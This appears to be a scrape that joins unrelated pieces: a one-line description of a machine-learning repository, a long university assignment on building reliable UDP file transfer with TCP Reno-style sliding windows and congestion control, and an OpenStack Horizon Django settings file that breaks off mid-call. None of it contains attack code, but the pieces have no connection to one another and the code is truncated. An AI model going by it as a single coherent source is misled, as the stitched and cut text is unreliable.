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CastellanZhang
Multi-thread implementation of Piece-wise Linear Model(PLM) or Mixture of LR(MLR) with FTRL for binary-class classification problem.
The aim of this assignment is to have you do UDP socket client / server programming with a focus on two broad aspects : Setting up the exchange between the client and server in a secure way despite the lack of a formal connection (as in TCP) between the two, so that ‘outsider’ UDP datagrams (broadcast, multicast, unicast - fortuitously or maliciously) cannot intrude on the communication. Introducing application-layer protocol data-transmission reliability, flow control and congestion control in the client and server using TCP-like ARQ sliding window mechanisms. The second item above is much more of a challenge to implement than the first, though neither is particularly trivial. But they are not tightly interdependent; each can be worked on separately at first and then integrated together at a later stage. Apart from the material in Chapters 8, 14 & 22 (especially Sections 22.5 - 22.7), and the experience you gained from the preceding assignment, you will also need to refer to the following : ioctl function (Chapter 17). get_ifi_info function (Section 17.6, Chapter 17). This function will be used by the server code to discover its node’s network interfaces so that it can bind all its interface IP addresses (see Section 22.6). ‘Race’ conditions (Section 20.5, Chapter 20) You also need a thorough understanding of how the TCP protocol implements reliable data transfer, flow control and congestion control. Chapters 17- 24 of TCP/IP Illustrated, Volume 1 by W. Richard Stevens gives a good overview of TCP. Though somewhat dated for some things (it was published in 1994), it remains, overall, a good basic reference. Overview This assignment asks you to implement a primitive file transfer protocol for Unix platforms, based on UDP, and with TCP-like reliability added to the transfer operation using timeouts and sliding-window mechanisms, and implementing flow and congestion control. The server is a concurrent server which can handle multiple clients simultaneously. A client gives the server the name of a file. The server forks off a child which reads directly from the file and transfers the contents over to the client using UDP datagrams. The client prints out the file contents as they come in, in order, with nothing missing and with no duplication of content, directly on to stdout (via the receiver sliding window, of course, but with no other intermediate buffering). The file to be transferred can be of arbitrary length, but its contents are always straightforward ascii text. As an aside let me mention that assuming the file contents ascii is not as restrictive as it sounds. We can always pretend, for example, that binary files are base64 encoded (“ASCII armor”). A real file transfer protocol would, of course, have to worry about transferring files between heterogeneous platforms with different file structure conventions and semantics. The sender would first have to transform the file into a platform-independent, protocol-defined, format (using, say, ASN.1, or some such standard), and the receiver would have to transform the received file into its platform’s native file format. This kind of thing can be fairly time consuming, and is certainly very tedious, to implement, with little educational value - it is not part of this assignment. Arguments for the server You should provide the server with an input file server.in from which it reads the following information, in the order shown, one item per line : Well-known port number for server. Maximum sending sliding-window size (in datagram units). You will not be handing in your server.in file. We shall create our own when we come to test your code. So it is important that you stick strictly to the file name and content conventions specified above. The same applies to the client.in input file below. Arguments for the client The client is to be provided with an input file client.in from which it reads the following information, in the order shown, one item per line : IP address of server (not the hostname). Well-known port number of server. filename to be transferred. Receiving sliding-window size (in datagram units). Random generator seed value. Probability p of datagram loss. This should be a real number in the range [ 0.0 , 1.0 ] (value 0.0 means no loss occurs; value 1.0 means all datagrams all lost). The mean µ, in milliseconds, for an exponential distribution controlling the rate at which the client reads received datagram payloads from its receive buffer. Operation Server starts up and reads its arguments from file server.in. As we shall see, when a client communicates with the server, the server will want to know what IP address that client is using to identify the server (i.e. , the destination IP address in the incoming datagram). Normally, this can be done relatively straightforwardly using the IP_RECVDESTADDR socket option, and picking up the information using the ancillary data (‘control information’) capability of the recvmsg function. Unfortunately, Solaris 2.10 does not support the IP_RECVDESTADDR option (nor, incidentally, does it support the msg_flags option in msghdr - see p.390). This considerably complicates things. In the absence of IP_RECVDESTADDR, what the server has to do as part of its initialization phase is to bind each IP address it has (and, simultaneously, its well-known port number, which it has read in from server.in) to a separate UDP socket. The code in Section 22.6, which uses the get_ifi_info function, shows you how to do that. However, there are important differences between that code and the version you want to implement. The code of Section 22.6 binds the IP addresses and forks off a child for each address that is bound to. We do not want to do that. Instead you should have an array of socket descriptors. For each IP address, create a new socket and bind the address (and well-known port number) to the socket without forking off child processes. Creating child processes comes later, when clients arrive. The code of Section 22.6 also attempts to bind broadcast addresses. We do not want to do this. It binds a wildcard IP address, which we certainly do not want to do either. We should bind strictly only unicast addresses (including the loopback address). The get_ifi_info function (which the code in Section 22.6 uses) has to be modified so that it also gets the network masks for the IP addresses of the node, and adds these to the information stored in the linked list of ifi_info structures (see Figure 17.5, p.471) it produces. As you go binding each IP address to a distinct socket, it will be useful for later processing to build your own array of structures, where a structure element records the following information for each socket : sockfd IP address bound to the socket network mask for the IP address subnet address (obtained by doing a bit-wise and between the IP address and its network mask) Report, in a ReadMe file which you hand in with your code, on the modifications you had to introduce to ensure that only unicast addresses are bound, and on your implementation of the array of structures described above. You should print out on stdout, with an appropriate message and appropriately formatted in dotted decimal notation, the IP address, network mask, and subnet address for each socket in your array of structures (you do not need to print the sockfd). The server now uses select to monitor the sockets it has created for incoming datagrams. When it returns from select, it must use recvfrom or recvmsg to read the incoming datagram (see 6. below). When a client starts, it first reads its arguments from the file client.in. The client checks if the server host is ‘local’ to its (extended) Ethernet. If so, all its communication to the server is to occur as MSG_DONTROUTE (or SO_DONTROUTE socket option). It determines if the server host is ‘local’ as follows. The first thing the client should do is to use the modified get_ifi_info function to obtain all of its IP addresses and associated network masks. Print out on stdout, in dotted decimal notation and with an appropriate message, the IP addresses and network masks obtained. In the following, IPserver designates the IP address the client will use to identify the server, and IPclient designates the IP address the client will choose to identify itself. The client checks whether the server is on the same host. If so, it should use the loopback address 127.0.0.1 for the server (i.e. , IPserver = 127.0.0.1). IPclient should also be set to the loopback address. Otherwise it proceeds as follows: IPserver is set to the IP address for the server in the client.in file. Given IPserver and the (unicast) IP addresses and network masks for the client returned by get_ifi_info in the linked list of ifi_info structures, you should be able to figure out if the server node is ‘local’ or not. This will be discussed in class; but let me just remind you here that you should use ‘longest prefix matching’ where applicable. If there are multiple client addresses, and the server host is ‘local’, the client chooses an IP address for itself, IPclient, which matches up as ‘local’ according to your examination above. If the server host is not ‘local’, then IPclient can be chosen arbitrarily. Print out on stdout the results of your examination, as to whether the server host is ‘local’ or not, as well as the IPclient and IPserver addresses selected. Note that this manner of determining whether the server is local or not is somewhat clumsy and ‘over-engineered’, and, as such, should be viewed more in the nature of a pedagogical exercise. Ideally, we would like to look up the server IP address(es) in the routing table (see Section 18.3). This requires that a routing socket be created, for which we need superuser privilege. Alternatively, we might want to dump out the routing table, using the sysctl function for example (see Section 18.4), and examine it directly. Unfortunately, Solaris 2.10 does not support sysctl. Furthermore, note that there is a slight problem with the address 130.245.1.123/24 assigned to compserv3 (see rightmost column of file hosts, and note that this particular compserv3 address “overlaps” with the 130.245.1.x/28 addresses in that same column assigned to compserv1, compserv2 & comserv4). In particular, if the client is running on compserv3 and the server on any of the other three compservs, and if that server node is also being identified to the client by its /28 (rather than its /24) address, then the client will get a “false positive” when it tests as to whether the server node is local or not. In other words, the client will deem the server node to be local, whereas in fact it should not be considered local. Because of this, it is perhaps best simply not to use compserv3 to run the client (but it is o.k. to use it to run the server). Finally, using MSG_DONTROUTE where possible would seem to gain us efficiency, in as much as the kernel does not need to consult the routing table for every datagram sent. But, in fact, that is not so. Recall that one effect of connect with UDP sockets is that routing information is obtained by the kernel at the time the connect is issued. That information is cached and used for subsequent sends from the connected socket (see p.255). The client now creates a UDP socket and calls bind on IPclient, with 0 as the port number. This will cause the kernel to bind an ephemeral port to the socket. After the bind, use the getsockname function (Section 4.10) to obtain IPclient and the ephemeral port number that has been assigned to the socket, and print that information out on stdout, with an appropriate message and appropriately formatted. The client connects its socket to IPserver and the well-known port number of the server. After the connect, use the getpeername function (Section 4.10) to obtain IPserver and the well-known port number of the server, and print that information out on stdout, with an appropriate message and appropriately formatted. The client sends a datagram to the server giving the filename for the transfer. This send needs to be backed up by a timeout in case the datagram is lost. Note that the incoming datagram from the client will be delivered to the server at the socket to which the destination IP address that the datagram is carrying has been bound. Thus, the server can obtain that address (it is, of course, IPserver) and thereby achieve what IP_RECVDESTADDR would have given us had it been available. Furthermore, the server process can obtain the IP address (this will, of course, be IPclient) and ephemeral port number of the client through the recvfrom or recvmsg functions. The server forks off a child process to handle the client. The server parent process goes back to the select to listen for new clients. Hereafter, and unless otherwise stated, whenever we refer to the ‘server’, we mean the server child process handling the client’s file transfer, not the server parent process. Typically, the first thing the server child would be expected to do is to close all sockets it ‘inherits’ from its parent. However, this is not the case with us. The server child does indeed close the sockets it inherited, but not the socket on which the client request arrived. It leaves that socket open for now. Call this socket the ‘listening’ socket. The server (child) then checks if the client host is local to its (extended) Ethernet. If so, all its communication to the client is to occur as MSG_DONTROUTE (or SO_DONTROUTE socket option). If IPserver (obtained in 5. above) is the loopback address, then we are done. Otherwise, the server has to proceed with the following step. Use the array of structures you built in 1. above, together with the addresses IPserver and IPclient to determine if the client is ‘local’. Print out on stdout the results of your examination, as to whether the client host is ‘local’ or not. The server (child) creates a UDP socket to handle file transfer to the client. Call this socket the ‘connection’ socket. It binds the socket to IPserver, with port number 0 so that its kernel assigns an ephemeral port. After the bind, use the getsockname function (Section 4.10) to obtain IPserver and the ephemeral port number that has been assigned to the socket, and print that information out on stdout, with an appropriate message and appropriately formatted. The server then connects this ‘connection’ socket to the client’s IPclient and ephemeral port number. The server now sends the client a datagram, in which it passes it the ephemeral port number of its ‘connection’ socket as the data payload of the datagram. This datagram is sent using the ‘listening’ socket inherited from its parent, otherwise the client (whose socket is connected to the server’s ‘listening’ socket at the latter’s well-known port number) will reject it. This datagram must be backed up by the ARQ mechanism, and retransmitted in the event of loss. Note that if this datagram is indeed lost, the client might well time out and retransmit its original request message (the one carrying the file name). In this event, you must somehow ensure that the parent server does not mistake this retransmitted request for a new client coming in, and spawn off yet another child to handle it. How do you do that? It is potentially more involved than it might seem. I will be discussing this in class, as well as ‘race’ conditions that could potentially arise, depending on how you code the mechanisms I present. When the client receives the datagram carrying the ephemeral port number of the server’s ‘connection’ socket, it reconnects its socket to the server’s ‘connection’ socket, using IPserver and the ephemeral port number received in the datagram (see p.254). It now uses this reconnected socket to send the server an acknowledgment. Note that this implies that, in the event of the server timing out, it should retransmit two copies of its ‘ephemeral port number’ message, one on its ‘listening’ socket and the other on its ‘connection’ socket (why?). When the server receives the acknowledgment, it closes the ‘listening’ socket it inherited from its parent. The server can now commence the file transfer through its ‘connection’ socket. The net effect of all these binds and connects at server and client is that no ‘outsider’ UDP datagram (broadcast, multicast, unicast - fortuitously or maliciously) can now intrude on the communication between server and client. Starting with the first datagram sent out, the client behaves as follows. Whenever a datagram arrives, or an ACK is about to be sent out (or, indeed, the initial datagram to the server giving the filename for the transfer), the client uses some random number generator function random() (initialized by the client.in argument value seed) to decide with probability p (another client.in argument value) if the datagram or ACK should be discarded by way of simulating transmission loss across the network. (I will briefly discuss in class how you do this.) Adding reliability to UDP The mechanisms you are to implement are based on TCP Reno. These include : Reliable data transmission using ARQ sliding-windows, with Fast Retransmit. Flow control via receiver window advertisements. Congestion control that implements : SlowStart Congestion Avoidance (‘Additive-Increase/Multiplicative Decrease’ – AIMD) Fast Recovery (but without the window-inflation aspect of Fast Recovery) Only some, and by no means all, of the details for these are covered below. The rest will be presented in class, especially those concerning flow control and TCP Reno’s congestion control mechanisms in general : Slow Start, Congestion Avoidance, Fast Retransmit and Fast Recovery. Implement a timeout mechanism on the sender (server) side. This is available to you from Stevens, Section 22.5 . Note, however, that you will need to modify the basic driving mechanism of Figure 22.7 appropriately since the situation at the sender side is not a repetitive cycle of send-receive, but rather a straightforward progression of send-send-send-send- . . . . . . . . . . . Also, modify the RTT and RTO mechanisms of Section 22.5 as specified below. I will be discussing the details of these modifications and the reasons for them in class. Modify function rtt_stop (Fig. 22.13) so that it uses integer arithmetic rather than floating point. This will entail your also having to modify some of the variable and function parameter declarations throughout Section 22.5 from float to int, as appropriate. In the unprrt.h header file (Fig. 22.10) set : RTT_RXTMIN to 1000 msec. (1 sec. instead of the current value 3 sec.) RTT_RXTMAX to 3000 msec. (3 sec. instead of the current value 60 sec.) RTT_MAXNREXMT to 12 (instead of the current value 3) In function rtt_timeout (Fig. 22.14), after doubling the RTO in line 86, pass its value through the function rtt_minmax of Fig. 22.11 (somewhat along the lines of what is done in line 77 of rtt_stop, Fig. 22.13). Finally, note that with the modification to integer calculation of the smoothed RTT and its variation, and given the small RTT values you will experience on the cs / sbpub network, these calculations should probably now be done on a millisecond or even microsecond scale (rather than in seconds, as is the case with Stevens’ code). Otherwise, small measured RTTs could show up as 0 on a scale of seconds, yielding a negative result when we subtract the smoothed RTT from the measured RTT (line 72 of rtt_stop, Fig. 22.13). Report the details of your modifications to the code of Section 22.5 in the ReadMe file which you hand in with your code. We need to have a sender sliding window mechanism for the retransmission of lost datagrams; and a receiver sliding window in order to ensure correct sequencing of received file contents, and some measure of flow control. You should implement something based on TCP Reno’s mechanisms, with cumulative acknowledgments, receiver window advertisements, and a congestion control mechanism I will explain in detail in class. For a reference on TCP’s mechanisms generally, see W. Richard Stevens, TCP/IP Illustrated, Volume 1 , especially Sections 20.2 - 20.4 of Chapter 20 , and Sections 21.1 - 21.8 of Chapter 21 . Bear in mind that our sequence numbers should count datagrams, not bytes as in TCP. Remember that the sender and receiver window sizes have to be set according to the argument values in client.in and server.in, respectively. Whenever the sender window becomes full and so ‘locks’, the server should print out a message to that effect on stdout. Similarly, whenever the receiver window ‘locks’, the client should print out a message on stdout. Be aware of the potential for deadlock when the receiver window ‘locks’. This situation is handled by having the receiver process send a duplicate ACK which acts as a window update when its window opens again (see Figure 20.3 and the discussion about it in TCP/IP Illustrated). However, this is not enough, because ACKs are not backed up by a timeout mechanism in the event they are lost. So we will also need to implement a persist timer driving window probes in the sender process (see Sections 22.1 & 22.2 in Chapter 22 of TCP/IP Illustrated). Note that you do not have to worry about the Silly Window Syndrome discussed in Section 22.3 of TCP/IP Illustrated since the receiver process consumes ‘full sized’ 512-byte messages from the receiver buffer (see 3. below). Report on the details of the ARQ mechanism you implemented in the ReadMe file you hand in. Indeed, you should report on all the TCP mechanisms you implemented in the ReadMe file, both the ones discussed here, and the ones I will be discussing in class. Make your datagram payload a fixed 512 bytes, inclusive of the file transfer protocol header (which must, at the very least, carry: the sequence number of the datagram; ACKs; and advertised window notifications). The client reads the file contents in its receive buffer and prints them out on stdout using a separate thread. This thread sits in a repetitive loop till all the file contents have been printed out, doing the following. It samples from an exponential distribution with mean µ milliseconds (read from the client.in file), sleeps for that number of milliseconds; wakes up to read and print all in-order file contents available in the receive buffer at that point; samples again from the exponential distribution; sleeps; and so on. The formula -1 × µ × ln( random( ) ) , where ln is the natural logarithm, yields variates from an exponential distribution with mean µ, based on the uniformly-distributed variates over ( 0 , 1 ) returned by random(). Note that you will need to implement some sort of mutual exclusion/semaphore mechanism on the client side so that the thread that sleeps and wakes up to consume from the receive buffer is not updating the state variables of the buffer at the same time as the main thread reading from the socket and depositing into the buffer is doing the same. Furthermore, we need to ensure that the main thread does not effectively monopolize the semaphore (and thus lock out for prolonged periods of time) the sleeping thread when the latter wakes up. See the textbook, Section 26.7, ‘Mutexes: Mutual Exclusion’, pp.697-701. You might also find Section 26.8, ‘Condition Variables’, pp.701-705, useful. You will need to devise some way by which the sender can notify the receiver when it has sent the last datagram of the file transfer, without the receiver mistaking that EOF marker as part of the file contents. (Also, note that the last data segment could be a “short” segment of less than 512 bytes – your client needs to be able to handle this correctly somehow.) When the sender receives an ACK for the last datagram of the transfer, the (child) server terminates. The parent server has to take care of cleaning up zombie children. Note that if we want a clean closing, the client process cannot simply terminate when the receiver ACKs the last datagram. This ACK could be lost, which would leave the (child) server process ‘hanging’, timing out, and retransmitting the last datagram. TCP attempts to deal with this problem by means of the TIME_WAIT state. You should have your receiver process behave similarly, sticking around in something akin to a TIME_WAIT state in case in case it needs to retransmit the ACK. In the ReadMe file you hand in, report on how you dealt with the issues raised here: sender notifying receiver of the last datagram, clean closing, and so on. Output Some of the output required from your program has been described in the section Operation above. I expect you to provide further output – clear, well-structured, well-laid-out, concise but sufficient and helpful – in the client and server windows by means of which we can trace the correct evolution of your TCP’s behaviour in all its intricacies : information (e.g., sequence number) on datagrams and acks sent and dropped, window advertisements, datagram retransmissions (and why : dup acks or RTO); entering/exiting Slow Start and Congestion Avoidance, ssthresh and cwnd values; sender and receiver windows locking/unlocking; etc., etc. . . . . The onus is on you to convince us that the TCP mechanisms you implemented are working correctly. Too many students do not put sufficient thought, creative imagination, time or effort into this. It is not the TA’s nor my responsibility to sit staring at an essentially blank screen, trying to summon up our paranormal psychology skills to figure out if your TCP implementation is really working correctly in all its very intricate aspects, simply because the transferred file seems to be printing o.k. in the client window. Nor is it our responsibility to strain our eyes and our patience wading through a mountain of obscure, ill-structured, hyper-messy, debugging-style output because, for example, your effort-conserving concept of what is ‘suitable’ is to dump your debugging output on us, relevant, irrelevant, and everything in between.
michealbalogun
Copyright 2012 United States Government as represented by the # Administrator of the National Aeronautics and Space Administration. # All Rights Reserved. # # Copyright 2012 Nebula, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import glob import logging import os import sys import warnings from django.utils.translation import pgettext_lazy from django.utils.translation import ugettext_lazy as _ from horizon.utils.escape import monkeypatch_escape from openstack_dashboard import enabled from openstack_dashboard import exceptions from openstack_dashboard.local import enabled as local_enabled from openstack_dashboard import theme_settings from openstack_dashboard.utils import config from openstack_dashboard.utils import settings as settings_utils monkeypatch_escape() _LOG = logging.getLogger(__name__) warnings.formatwarning = lambda message, category, *args, **kwargs: \ '%s: %s' % (category.__name__, message) ROOT_PATH = os.path.dirname(os.path.abspath(__file__)) if ROOT_PATH not in sys.path: sys.path.append(ROOT_PATH) DEBUG = False SITE_BRANDING = 'OpenStack Dashboard' WEBROOT = '/' LOGIN_URL = None LOGOUT_URL = None LOGIN_ERROR = None LOGIN_REDIRECT_URL = None MEDIA_ROOT = None MEDIA_URL = None STATIC_ROOT = None STATIC_URL = None SELECTABLE_THEMES = None INTEGRATION_TESTS_SUPPORT = False NG_TEMPLATE_CACHE_AGE = 2592000 ROOT_URLCONF = 'openstack_dashboard.urls' HORIZON_CONFIG = { 'user_home': 'openstack_dashboard.views.get_user_home', 'ajax_queue_limit': 10, 'auto_fade_alerts': { 'delay': 3000, 'fade_duration': 1500, 'types': ['alert-success', 'alert-info'] }, 'bug_url': None, 'help_url': "https://docs.openstack.org/", 'exceptions': {'recoverable': exceptions.RECOVERABLE, 'not_found': exceptions.NOT_FOUND, 'unauthorized': exceptions.UNAUTHORIZED}, 'modal_backdrop': 'static', 'angular_modules': [], 'js_files': [], 'js_spec_files': [], 'external_templates': [], 'plugins': [], 'integration_tests_support': INTEGRATION_TESTS_SUPPORT } # The OPENSTACK_IMAGE_BACKEND settings can be used to customize features # in the OpenStack Dashboard related to the Image service, such as the list # of supported image formats. OPENSTACK_IMAGE_BACKEND = { 'image_formats': [ ('', _('Select format')), ('aki', _('AKI - Amazon Kernel Image')), ('ami', _('AMI - Amazon Machine Image')), ('ari', _('ARI - Amazon Ramdisk Image')), ('docker', _('Docker')), ('iso', _('ISO - Optical Disk Image')), ('ova', _('OVA - Open Virtual Appliance')), ('ploop', _('PLOOP - Virtuozzo/Parallels Loopback Disk')), ('qcow2', _('QCOW2 - QEMU Emulator')), ('raw', _('Raw')), ('vdi', _('VDI - Virtual Disk Image')), ('vhd', _('VHD - Virtual Hard Disk')), ('vhdx', _('VHDX - Large Virtual Hard Disk')), ('vmdk', _('VMDK - Virtual Machine Disk')), ] } MIDDLEWARE = ( 'openstack_auth.middleware.OpenstackAuthMonkeyPatchMiddleware', 'debreach.middleware.RandomCommentMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'horizon.middleware.OperationLogMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'horizon.middleware.HorizonMiddleware', 'horizon.themes.ThemeMiddleware', 'django.middleware.locale.LocaleMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', 'openstack_dashboard.contrib.developer.profiler.middleware.' 'ProfilerClientMiddleware', 'openstack_dashboard.contrib.developer.profiler.middleware.' 'ProfilerMiddleware', ) CACHED_TEMPLATE_LOADERS = [ 'django.template.loaders.filesystem.Loader', 'django.template.loaders.app_directories.Loader', 'horizon.loaders.TemplateLoader' ] ADD_TEMPLATE_LOADERS = [] ADD_TEMPLATE_DIRS = [] TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [os.path.join(ROOT_PATH, 'templates')], 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.i18n', 'django.template.context_processors.request', 'django.template.context_processors.media', 'django.template.context_processors.static', 'django.contrib.messages.context_processors.messages', 'horizon.context_processors.horizon', 'openstack_dashboard.context_processors.openstack', ], 'loaders': [ 'horizon.themes.ThemeTemplateLoader' ], }, }, ] STATICFILES_FINDERS = ( 'django.contrib.staticfiles.finders.FileSystemFinder', 'horizon.contrib.staticfiles.finders.HorizonStaticFinder', 'compressor.finders.CompressorFinder', ) COMPRESS_PRECOMPILERS = ( ('text/scss', 'horizon.utils.scss_filter.HorizonScssFilter'), ) COMPRESS_CSS_FILTERS = ( 'compressor.filters.css_default.CssAbsoluteFilter', ) COMPRESS_ENABLED = True COMPRESS_OUTPUT_DIR = 'dashboard' COMPRESS_CSS_HASHING_METHOD = 'hash' COMPRESS_PARSER = 'compressor.parser.HtmlParser' INSTALLED_APPS = [ 'openstack_dashboard', 'django.contrib.contenttypes', 'django.contrib.auth', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'django.contrib.humanize', 'django_pyscss', 'debreach', 'openstack_dashboard.django_pyscss_fix', 'compressor', 'horizon', 'openstack_auth', ] AUTHENTICATION_BACKENDS = ('openstack_auth.backend.KeystoneBackend',) AUTHENTICATION_URLS = ['openstack_auth.urls'] AUTH_USER_MODEL = 'openstack_auth.User' MESSAGE_STORAGE = 'django.contrib.messages.storage.fallback.FallbackStorage' SESSION_ENGINE = 'django.contrib.sessions.backends.cache' CACHES = { 'default': { 'BACKEND': 'django.core.cache.backends.memcached.MemcachedCache', 'LOCATION': '127.0.0.1:11211', }, } SESSION_COOKIE_HTTPONLY = True SESSION_EXPIRE_AT_BROWSER_CLOSE = True SESSION_COOKIE_SECURE = False # Control whether the SESSION_TIMEOUT period is refreshed due to activity. If # False, SESSION_TIMEOUT acts as a hard limit. SESSION_REFRESH = True # This SESSION_TIMEOUT is a method to supercede the token timeout with a # shorter horizon session timeout (in seconds). If SESSION_REFRESH is True (the # default) SESSION_TIMEOUT acts like an idle timeout rather than being a hard # limit, but will never exceed the token expiry. If your token expires in 60 # minutes, a value of 1800 will log users out after 30 minutes of inactivity, # or 60 minutes with activity. Setting SESSION_REFRESH to False will make # SESSION_TIMEOUT act like a hard limit on session times. SESSION_TIMEOUT = 3600 # When using cookie-based sessions, log error when the session cookie exceeds # the following size (common browsers drop cookies above a certain size): SESSION_COOKIE_MAX_SIZE = 4093 # when doing upgrades, it may be wise to stick to PickleSerializer # NOTE(berendt): Check during the K-cycle if this variable can be removed. # https://bugs.launchpad.net/horizon/+bug/1349463 SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer' # MEMOIZED_MAX_SIZE_DEFAULT allows setting a global default to help control # memory usage when caching. It should at least be 2 x the number of threads # with a little bit of extra buffer. MEMOIZED_MAX_SIZE_DEFAULT = 25 CSRF_FAILURE_VIEW = 'openstack_dashboard.views.csrf_failure' LANGUAGES = ( ('cs', 'Czech'), ('de', 'German'), ('en', 'English'), ('en-au', 'Australian English'), ('en-gb', 'British English'), ('eo', 'Esperanto'), ('es', 'Spanish'), ('fr', 'French'), ('id', 'Indonesian'), ('it', 'Italian'), ('ja', 'Japanese'), ('ko', 'Korean (Korea)'), ('pl', 'Polish'), ('pt-br', 'Portuguese (Brazil)'), ('ru', 'Russian'), ('tr', 'Turkish'), ('zh-cn', 'Simplified Chinese'), ('zh-tw', 'Chinese (Taiwan)'), ) LANGUAGE_CODE = 'en' LANGUAGE_COOKIE_NAME = 'horizon_language' USE_I18N = True USE_L10N = True USE_TZ = True # Set OPENSTACK_CLOUDS_YAML_NAME to provide a nicer name for this cloud for # the clouds.yaml file than "openstack". OPENSTACK_CLOUDS_YAML_NAME = 'openstack' # If this cloud has a vendor profile in os-client-config, put it's name here. OPENSTACK_CLOUDS_YAML_PROFILE = '' OPENSTACK_KEYSTONE_DEFAULT_ROLE = '_member_' DEFAULT_EXCEPTION_REPORTER_FILTER = 'horizon.exceptions.HorizonReporterFilter' POLICY_FILES_PATH = os.path.join(ROOT_PATH, "conf") # Map of local copy of service policy files POLICY_FILES = { 'identity': 'keystone_policy.json', 'compute': 'nova_policy.json', 'volume': 'cinder_policy.json', 'image': 'glance_policy.json', 'network': 'neutron_policy.json', } # Services for which horizon has extra policies are defined # in POLICY_DIRS by default. POLICY_DIRS = { 'compute': ['nova_policy.d'], 'volume': ['cinder_policy.d'], } SECRET_KEY = None LOCAL_PATH = None SECURITY_GROUP_RULES = { 'all_tcp': { 'name': _('All TCP'), 'ip_protocol': 'tcp', 'from_port': '1', 'to_port': '65535', }, 'all_udp': { 'name': _('All UDP'), 'ip_protocol': 'udp', 'from_port': '1', 'to_port': '65535', }, 'all_icmp': { 'name': _('All ICMP'), 'ip_protocol': 'icmp', 'from_port': '-1', 'to_port': '-1', }, } ADD_INSTALLED_APPS = [] # NOTE: The default value of USER_MENU_LINKS will be set after loading # local_settings if it is not configured. USER_MENU_LINKS = None # 'key', 'label', 'path' AVAILABLE_THEMES = [ ( 'default', pgettext_lazy('Default style theme', 'Default'), 'themes/default' ), ( 'material', pgettext_lazy("Google's Material Design style theme", "Material"), 'themes/material' ), ] # The default theme if no cookie is present DEFAULT_THEME = 'default' # Theme Static Directory THEME_COLLECTION_DIR = 'themes' # Theme Cookie Name THEME_COOKIE_NAME = 'theme' POLICY_CHECK_FUNCTION = 'openstack_auth.policy.check' CSRF_COOKIE_AGE = None COMPRESS_OFFLINE_CONTEXT = 'horizon.themes.offline_context' SHOW_KEYSTONE_V2_RC = False SHOW_OPENRC_FILE = True SHOW_OPENSTACK_CLOUDS_YAML = True # Dictionary of currently available angular features ANGULAR_FEATURES = { 'images_panel': True, 'key_pairs_panel': True, 'flavors_panel': False, 'domains_panel': False, 'users_panel': False, 'groups_panel': False, 'roles_panel': True } # Notice all customizable configurations should be above this line XSTATIC_MODULES = settings_utils.BASE_XSTATIC_MODULES OPENSTACK_PROFILER = { 'enabled': False } if not LOCAL_PATH: LOCAL_PATH = os.path.join(ROOT_PATH, 'local') LOCAL_SETTINGS_DIR_PATH = os.path.join(LOCAL_PATH, "local_settings.d") _files = glob.glob(os.path.join(LOCAL_PATH, 'local_settings.conf')) _files.extend( sorted(glob.glob(os.path.join(LOCAL_SETTINGS_DIR_PATH, '*.conf')))) _config = config.load_config(_files, ROOT_PATH, LOCAL_PATH) # Apply the general configuration. config.apply_config(_config, globals()) try: from local.local_settings import * # noqa: F403,H303 except ImportError: _LOG.warning("No local_settings file found.") # configure templates if not TEMPLATES[0]['DIRS']: TEMPLATES[0]['DIRS'] = [os.path.join(ROOT_PATH, 'templates')] TEMPLATES[0]['DIRS'] += ADD_TEMPLATE_DIRS # configure template debugging TEMPLATES[0]['OPTIONS']['debug'] = DEBUG # Template loaders if DEBUG: TEMPLATES[0]['OPTIONS']['loaders'].extend( CACHED_TEMPLATE_LOADERS + ADD_TEMPLATE_LOADERS ) else: TEMPLATES[0]['OPTIONS']['loaders'].extend( [('django.template.loaders.cached.Loader', CACHED_TEMPLATE_LOADERS)] + ADD_TEMPLATE_LOADERS ) # allow to drop settings snippets into a local_settings_dir LOCAL_SETTINGS_DIR_PATH = os.path.join(ROOT_PATH, "local", "local_settings.d") if os.path.exists(LOCAL_SETTINGS_DIR_PATH): for (dirpath, dirnames, filenames) in os.walk(LOCAL_SETTINGS_DIR_PATH): for filename in sorted(filenames): if filename.endswith(".py"): try: with open(os.path.join(dirpath, filename)) as f: # pylint: disable=exec-used exec(f.read()) except Exception as e: _LOG.exception( "Can not exec settings snippet %s", filename) # The purpose of OPENSTACK_IMAGE_FORMATS is to provide a simple object # that does not contain the lazy-loaded translations, so the list can # be sent as JSON to the client-side (Angular). OPENSTACK_IMAGE_FORMATS = [fmt for (fmt, name) in OPENSTACK_IMAGE_BACKEND['image_formats']] if USER_MENU_LINKS is None: USER_MENU_LINKS = [] if SHOW_KEYSTONE_V2_RC: USER_MENU_LINKS.append({ 'name': _('OpenStack RC File v2'), 'icon_classes': ['fa-download', ], 'url': 'horizon:project:api_access:openrcv2', }) if SHOW_OPENRC_FILE: USER_MENU_LINKS.append({ 'name': (_('OpenStack RC File v3') if SHOW_KEYSTONE_V2_RC else _('OpenStack RC File')), 'icon_classes': ['fa-download', ], 'url': 'horizon:project:api_access:openrc', }) if not WEBROOT.endswith('/'): WEBROOT += '/' if LOGIN_URL is None: LOGIN_URL = WEBROOT + 'auth/login/' if LOGOUT_URL is None: LOGOUT_URL = WEBROOT + 'auth/logout/' if LOGIN_ERROR is None: LOGIN_ERROR = WEBROOT + 'auth/error/' if LOGIN_REDIRECT_URL is None: LOGIN_REDIRECT_URL = WEBROOT if MEDIA_ROOT is None: MEDIA_ROOT = os.path.abspath(os.path.join(ROOT_PATH, '..', 'media')) if MEDIA_URL is None: MEDIA_URL = WEBROOT + 'media/' if STATIC_ROOT is None: STATIC_ROOT = os.path.abspath(os.path.join(ROOT_PATH, '..', 'static')) if STATIC_URL is None: STATIC_URL = WEBROOT + 'static/' AVAILABLE_THEMES, SELECTABLE_THEMES, DEFAULT_THEME = ( theme_settings.get_available_themes( 